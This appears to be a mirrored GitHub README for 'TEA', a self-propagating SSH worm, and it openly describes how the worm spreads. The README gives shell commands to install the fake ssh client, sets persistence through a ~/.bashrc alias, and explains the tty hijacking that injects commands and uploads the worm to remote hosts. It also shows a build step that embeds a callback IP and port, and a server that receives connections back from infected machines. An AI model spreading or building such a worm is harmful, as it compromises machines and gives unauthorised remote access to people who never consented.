Giter Club home page Giter Club logo

tea's Introduction

TEA

A ssh-client worm made with tas framework.

How it works?

This is a fakessh-client that manipulates the tty input/output to execute arbitrary commands and upload itself through the ssh connection.

To work properly, the remote machine needs:

  • display the "Last login" message when login.
  • dd and stty
  • target user using bash as default shell.
  • capability to run the fakessh binary.
  • writable ~/.bashrc

Infect the local machine:

mkdir ~/.sshworm
cp ssh ~/.sshworm
alias ssh='~/.sshworm/ssh'

The first time that you execute the fakessh, it will display nothing, the code in post-install.c will be executed and the string alias ssh="~/.sshworm/ssh" will be write to the ~/.bashrc:

$ ssh
$ ssh
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
           [-i identity_file] [-J [user@]host[:port]] [-L address]
           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]
           [-w local_tun[:remote_tun]] destination [command]

Spread the world

Now just connect to some ssh server, that meets the conditions stated for the program to work, and the machine will be infected, and the machines accessed through it too, and so on.

tty manipulation:

When the fakessh is executed, it will wait for the string "Last login" to start the I/O manipulation (output-hooks.c), when "Last login" is receveid it will send some arbitrary commands (inject-cmd.c) and will wait for the command result (output-hooks.c), if the file ~/.sshworm/ssh don't exists in the remote machine, then the worm will upload itself (upload.c).

See output-hooks.c for more details.

Uninstall:

$ rm -rf ~/.sshworm
$ perl -i -pe 's;alias ssh="~/.sshworm/ssh";;g' ~/.bashrc
$ unalias ssh

Compile

I recommend the use of musl-libc, or every else libc that isn't the glibc, the binary compiled using the glibc is 17 times bigger than the binary compiled using the musl-libc.

Getting the source code:

$ git clone --recurse-submodules https://github.com/hc0d3r/tea

Build options:

Name Description
IP remote IPv4 to connect
PORT remote port to connect

Example:

$ make CC=musl-gcc IP=my-ipv4 PORT=1234

Server

I made a simple server to handle the connections that will be receveid when the code in post-install.c is executed.

The server mechanism is very simple, when a new connection is established, it execute a new command and pass the connection file descriptor through the command line, so the program executed will be able to handle the connection.

Compile

$ cd server
$ make
cc -Wall -Wextra -O3 -c net.c -o net.o
cc -Wall -Wextra -O3 -c replace.c -o replace.o
cc -Wall -Wextra -O3 -c term.c -o term.o
cc -Wall -Wextra -O3 -c main.c -o main.o
cc -Wall -Wextra -O3 -o server net.o replace.o term.o main.o

Demo

TEA - sshworm

Contributing

You can help with code, or donating money. If you wanna help with code, use the kernel code style as a reference.

Paypal:

BTC: 1PpbrY6j1HNPF7fS2LhG9SF2wtyK98GSwq

tea's People

Contributors

hc0d3r avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.